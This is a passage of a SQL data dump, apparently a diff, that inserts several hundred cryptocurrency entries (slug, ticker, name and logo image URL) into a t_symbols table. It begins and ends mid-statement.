'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guppy.png', NULL); +INSERT INTO `t_symbols` VALUES (2221, 'chronos', 'CRX', 'Chronos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ChronosCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2222, 'asa', 'ASA', 'Asura Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asa.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2223, 'ethereum-gold', 'ETG', 'Ethereum Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (2224, 'becenttoken', 'BCT', 'becenttoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/becenttoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2225, 'openalexa-protocol', 'OAP', 'OpenAlexa Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/openalexa-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (2226, 'lvc-trip-chains', 'LVCB', 'lvc-trip-chains', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lvc-trip-chains.png', NULL); +INSERT INTO `t_symbols` VALUES (2227, 'ethersocial', 'ESN', 'Ethersocial', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethersocial.png', NULL); +INSERT INTO `t_symbols` VALUES (2228, 'veriumreserve', 'VRM', 'VeriumReserve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veriumreserve.png', NULL); +INSERT INTO `t_symbols` VALUES (2229, 'zilla', 'ZLA', 'Zilla', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/zillatoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2230, 'virtacoinplus', 'XVP', 'Virtacoinplus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VirtacoinPlus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2231, 'policypal-network', 'PAL', 'Pal Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/policypal-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2232, 'hyperspace', 'XSC', 'Hyperspace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyperspace.png', NULL); +INSERT INTO `t_symbols` VALUES (2233, 'btrcm', 'BTRCM', 'btrcm', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2234, 'ignition', 'IC', 'Ignition', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ignition_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2235, 'fos', 'FOS', 'fos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fos.png', NULL); +INSERT INTO `t_symbols` VALUES (2236, 'bitto-exchange', 'BITTO', 'BITTO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitto-exchange.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2237, 'vericoin', 'VRC', 'VeriCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vericoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2238, 'saketoken', 'SAKE', 'SakeToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/saketoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2239, 'ethorse', 'HORSE', 'Ethorse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/EthorseTeam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2240, 'zennies', 'ZENI', 'Zennies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zennies.png', NULL); +INSERT INTO `t_symbols` VALUES (2241, 'aircoins', 'AIRX', 'Aircoins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aircoins.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2242, 'stk', 'STK', 'STK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stk.png', NULL); +INSERT INTO `t_symbols` VALUES (2243, 'xmm', 'XMM', 'xmm', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2244, 'ggc', 'GGC', 'GramGold Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ggc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2245, 'pub', 'PUB', 'PUBLYTO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pub.png', NULL); +INSERT INTO `t_symbols` VALUES (2246, 'zos', 'ZOS', 'zos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zos.png', NULL); +INSERT INTO `t_symbols` VALUES (2247, 'proton-token', 'PTT', 'Proton Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proton-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2248, 'formation-fi', 'FORM', 'Formation Fi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/formation-fi.png', NULL); +INSERT INTO `t_symbols` VALUES (2249, 'narrative', 'NRVE', 'Narrative', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/narrative.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2250, 'piggycoin', 'PIGGY', 'Piggycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/piggycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2251, 'cpu', 'CPU', 'cpu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cpu.png', NULL); +INSERT INTO `t_symbols` VALUES (2252, 'the-midas-touch-gold', 'TMTG', 'The Midas Touch Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-midas-touch-gold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2253, 'phi-token', 'PHI', 'PHI Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phi-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2254, 'lqd', 'LQD', 'Liquidity Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lqd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2255, 'golos-gold', 'GBG', 'Golos Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golos-gold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2256, 'eds', 'EDS', 'EDS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eds.png', NULL); +INSERT INTO `t_symbols` VALUES (2257, 'popchain', 'PCH', 'POPCHAIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/popchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2258, 'dmmgovernance', 'DMG', 'DMM: Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dmmgovernance.png', NULL); +INSERT INTO `t_symbols` VALUES (2259, 'ig', 'IG', 'IGT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ig.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2260, 'the-global-index-chain', 'TGIC', 'The global index chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-global-index-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2261, 'bitradio', 'BRO', 'Bitradio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/bitrad_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2262, 'datum', 'DAT', 'Datum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datum.png', NULL); +INSERT INTO `t_symbols` VALUES (2263, 'eroscoin', 'ERO', 'Eroscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eroscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2264, 'open-trading-network', 'OTN', 'Open Trading Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-trading-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2265, 'zat', 'ZAT', 'ZatGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zat.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2266, 'feirm', 'XFE', 'FEIRM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/feirm.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2267, 'hoqu', 'HQX', 'HOQU', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hoqu.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2268, 'tokendesk', 'TDS', 'TokenDesk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokendesk.png', NULL); +INSERT INTO `t_symbols` VALUES (2269, 'novusphere', 'ATMOS', 'Atmos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/novusphere.png', NULL); +INSERT INTO `t_symbols` VALUES (2270, 'datarius-credit', 'DTRC', 'Datarius Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datarius-credit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2271, 'centric', 'CNS', 'Centric Swap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/centric.png', NULL); +INSERT INTO `t_symbols` VALUES (2272, 'bitdegree', 'BDG', 'BitDegree', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdegree.png', NULL); +INSERT INTO `t_symbols` VALUES (2273, 'payfair', 'PFR', 'Payfair', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/payfair.png', NULL); +INSERT INTO `t_symbols` VALUES (2274, 'verso-token', 'VSO', 'Verso', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verso-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2275, 'substratum', 'SUB', 'Substratum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/substratum.png', NULL); +INSERT INTO `t_symbols` VALUES (2276, 'esports-token', 'EST', 'Esports Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/esports-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2277, 'sovranocoin', 'SVR', 'SovranoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sovranocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2278, 'tripio', 'TRIO', 'Tripio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tripio.png', NULL); +INSERT INTO `t_symbols` VALUES (2279, 'leekico', 'LEEK', 'leekico', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leekico.png', NULL); +INSERT INTO `t_symbols` VALUES (2280, 'spindle', 'SPD', 'SPINDLE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spindle.png', NULL); +INSERT INTO `t_symbols` VALUES (2281, 'pluracoin', 'PLURA', 'PluraCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pluracoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2282, 'theparallel', 'PRL', 'The Parallel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/theparallel.png', NULL); +INSERT INTO `t_symbols` VALUES (2283, 'oin-finance', 'OIN', 'OIN Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oin-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2284, 'vulcano', 'QUO', 'Quoxent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vulcano.png', NULL); +INSERT INTO `t_symbols` VALUES (2285, 'italo', 'XTA', 'Italo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/italo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2286, 'vsync-vsx', 'VSX', 'Vsync', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VsyncCrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2287, 'kit', 'KIT', 'Kittoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2288, 'soda-coin', 'SOC', 'SODA Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soda-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2289, 'bowhead', 'AHT', 'Bowhead Health', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/bowheadhealth.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2290, 'trvc', 'TRVC', 'TriveChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trvc.png', NULL); +INSERT INTO `t_symbols` VALUES (2291, 'fantasygold', 'FGC', 'FantasyGold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantasygold.png', NULL); +INSERT INTO `t_symbols` VALUES (2292, 'clams', 'CLAM', 'Clams', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clams.png', NULL); +INSERT INTO `t_symbols` VALUES (2293, 'dacash', 'DAC', 'DACash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dacash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2294, 'natmin', 'NAT', 'Natmin Pure Escrow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/natmin.png', NULL); +INSERT INTO `t_symbols` VALUES (2295, 'agrello-delta', 'DLT', 'Agrello', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/agrello-delta.png', NULL); +INSERT INTO `t_symbols` VALUES (2296, 'degis', 'DEG', 'Degis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/degis.png', NULL); +INSERT INTO `t_symbols` VALUES (2297, 'remme', 'REM', 'Remme', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/remme.png', NULL); +INSERT INTO `t_symbols` VALUES (2298, 'noah-coin', 'NOAHP', 'Noah Decentralized State Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noah-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2299, 'cryptosoul', 'SOUL', 'CryptoSoul', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptosoul.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2300, 'energycoin', 'ENRG', 'Energycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2301, 'at', 'AT', 'ABCC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/at.png', NULL); +INSERT INTO `t_symbols` VALUES (2302, 'adzcoin', 'ADZ', 'Adzcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adzcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2303, 'signaturechain', 'SIGN', 'SignatureChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/signaturechain.png', NULL); +INSERT INTO `t_symbols` VALUES (2304, 'niobium-coin', 'NBC', 'Niobium Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/niobium-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2305, 'zebi', 'ZCO', 'Zebi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zebi.png', NULL); +INSERT INTO `t_symbols` VALUES (2306, 'ethereumcash', 'ECASH', 'Ethereum Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereumcash.png', NULL); +INSERT INTO `t_symbols` VALUES (2307, 'sentinel-chain', 'SENC', 'Sentinel Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sentinel-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2308, 'delion', 'DLN', 'Delion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/delion.png', NULL); +INSERT INTO `t_symbols` VALUES (2309, 'swap', 'XWP', 'Swap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swap.png', NULL); +INSERT INTO `t_symbols` VALUES (2310, 'noblecoin', 'NOBL', 'NobleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noblecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2311, 'indahash', 'IDH', 'indaHash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/indahash.png', NULL); +INSERT INTO `t_symbols` VALUES (2312, 'you-chain', 'YOU', 'YOU Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/you-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2313, 'cryptoads-marketplace', 'CRAD', 'CryptoAds Marketplace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoads-marketplace.png', NULL); +INSERT INTO `t_symbols` VALUES (2314, 'zinc', 'ZINC', 'ZINC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zinc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2315, 'ubricoin', 'UBN', 'Ubricoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ubricoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2316, 'wabi', 'WABI', 'Wabi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wabi.png', NULL); +INSERT INTO `t_symbols` VALUES (2317, 'bige', 'BIGE', 'bige', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bige.png', NULL); +INSERT INTO `t_symbols` VALUES (2318, 'trust', 'TRST', 'WeTrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trust.png', NULL); +INSERT INTO `t_symbols` VALUES (2319, 'ambercoin', 'AMBER', 'AmberCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/AmberTradeLTD.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2320, 'empty-set-dollar', 'ESD', 'Empty Set Dollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/empty-set-dollar.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2321, 'hypnoxys', 'HYPX', 'HYPNOXYS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hypnoxys.png', NULL); +INSERT INTO `t_symbols` VALUES (2322, 'fres', 'FRES', 'fres', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fres.png', NULL); +INSERT INTO `t_symbols` VALUES (2323, 'primas', 'PST', 'Primas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primas.png', NULL); +INSERT INTO `t_symbols` VALUES (2324, 'btec-token', 'BT', 'btec-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btec-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2325, 'pigx', 'PIGX', 'PIGX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pigx.png', NULL); +INSERT INTO `t_symbols` VALUES (2326, 'wealth-from-health-chain', 'WHC', 'wealth-from-health-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2327, 'yieldwars', 'WAR', 'YieldWars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yieldwars.png', NULL); +INSERT INTO `t_symbols` VALUES (2328, 'aditus', 'ADI', 'Aditus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aditus.png', NULL); +INSERT INTO `t_symbols` VALUES (2329, 'bptn', 'BPTN', 'Bit Public Talent Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bptn.png', NULL); +INSERT INTO `t_symbols` VALUES (2330, 'paymon', 'PMNT', 'Paymon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paymon.png', NULL); +INSERT INTO `t_symbols` VALUES (2331, 'the-champcoin', 'TCC', 'The ChampCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-champcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2332, 'coni', 'CONI', 'Coni', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coni.png', NULL); +INSERT INTO `t_symbols` VALUES (2333, 'food', 'FOOD', 'FoodCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/food.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2334, 'adhive', 'ADH', 'AdHive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adhive.png', NULL); +INSERT INTO `t_symbols` VALUES (2335, 'nyerium', 'NYEX', 'Nyerium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nyerium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2336, 'wecc', 'WECC', 'WECC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wecc.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2337, 'globex', 'GEX', 'GLOBEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globex.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2338, 'croat', 'CROAT', 'CROAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/croat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2339, 'cichain', 'CIC', 'Cloud-Insurance Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cichain.png', NULL); +INSERT INTO `t_symbols` VALUES (2340, 'gentarium', 'GTM', 'Gentarium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gentarium.png', NULL); +INSERT INTO `t_symbols` VALUES (2341, 'playcoin-erc20', 'PLX', 'PlayX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playcoin-erc20.png', NULL); +INSERT INTO `t_symbols` VALUES (2342, 'fnb-protocol', 'FNB', 'FNB Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fnb.png', NULL); +INSERT INTO `t_symbols` VALUES (2343, 'bishen', 'BIT', 'bishen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bishen.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2344, 'italian-lira', 'ITL', 'Italian Lira', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/italian-lira.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2345, 'funtime-coin', 'FUNC', 'FunTime Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/funtime-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2346, 'pundi-x-nem', 'NPXSXEM', 'Pundi X NEM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pundi-x-nem.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2347, 'triangles', 'TRI', 'Triangles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/triangles.png', NULL); +INSERT INTO `t_symbols` VALUES (2348, 'joulecoin', 'XJO', 'Joulecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joulecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2349, 'origo', 'OGO', 'Origo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origo.png', NULL); +INSERT INTO `t_symbols` VALUES (2350, 'bomb', 'BOMB', 'BOMB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bomb.png', NULL); +INSERT INTO `t_symbols` VALUES (2351, 'wys-token', 'WYS', 'Wysker Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wys-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2352, 'px', 'PX', 'PX', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2353, 'coinsuper-ecosystem-network', 'CEN', 'Coinsuper Ecosystem Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinsuper-ecosystem-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2354, 'teloscoin', 'TELOS', 'Teloscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/teloscoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2355, 'gravity', 'GZRO', 'Gravity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gravity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2356, 'digipulse', 'DGPT', 'DigiPulse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digipulse.png', NULL); +INSERT INTO `t_symbols` VALUES (2357, 'ifood', 'IFOOD', 'Ifoods Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ifood.png', NULL); +INSERT INTO `t_symbols` VALUES (2358, 'wrb', 'WRB', 'wrb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrb.png', NULL); +INSERT INTO `t_symbols` VALUES (2359, 'daxxcoin', 'DAXX', 'Daxxcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daxxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2360, 'ormeus-ecosystem', 'ECO', 'Ormeus Ecosystem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ormeus-ecosystem.png', NULL); +INSERT INTO `t_symbols` VALUES (2361, 'artx', 'ARTX', 'ARTX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artx.png', NULL); +INSERT INTO `t_symbols` VALUES (2362, 'ace', 'ACE', 'TokenStars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ace.png', NULL); +INSERT INTO `t_symbols` VALUES (2363, 'smartcoin', 'SMC', 'SmartCoin (SMC)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2364, 'usdq', 'USDQ', 'USDQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdq.png', NULL); +INSERT INTO `t_symbols` VALUES (2365, 'know-your-developer', 'KYDC', 'Know Your Developer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/know-your-developer.png', NULL); +INSERT INTO `t_symbols` VALUES (2366, 'novacoin', 'NVC', 'Novacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/novacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2367, 'huntercoin', 'HUC', 'HunterCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/chimaera_tech.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2368, 'aic', 'AIC', 'AI Crypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aic.png', NULL); +INSERT INTO `t_symbols` VALUES (2369, 'pomac', 'POMAC', 'POMA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pomac.png', NULL); +INSERT INTO `t_symbols` VALUES (2370, 'genix', 'GENIX', 'Genix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genix.png', NULL); +INSERT INTO `t_symbols` VALUES (2371, 'blitzpredict', 'XBP', 'BlitzPick', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blitzpredict.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2372, 'capricoin', 'CPS', 'Capricoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/capricoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2373, 'mytheriatoken', 'MYRA', 'Mytheria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/mytheria.png', NULL); +INSERT INTO `t_symbols` VALUES (2374, 'opal', 'OPAL', 'Opal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/opalcointeam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2375, 'fidelium', 'FID', 'Fidelium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fidelium.png', NULL); +INSERT INTO `t_symbols` VALUES (2376, 'swippcoin', 'SWIPP', 'Swipp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swippcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2377, 'pigeoncoin', 'PGN', 'Pigeoncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pigeoncoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2378, 'olympus-labs', 'MOT', 'Olympus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/olympuslabsbc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2379, 'maincoin', 'MNC', 'Maincoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2380, 'ulordtoken', 'UT', 'Ulord', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ulordtoken.jpg', NULL); +INSERT INTO 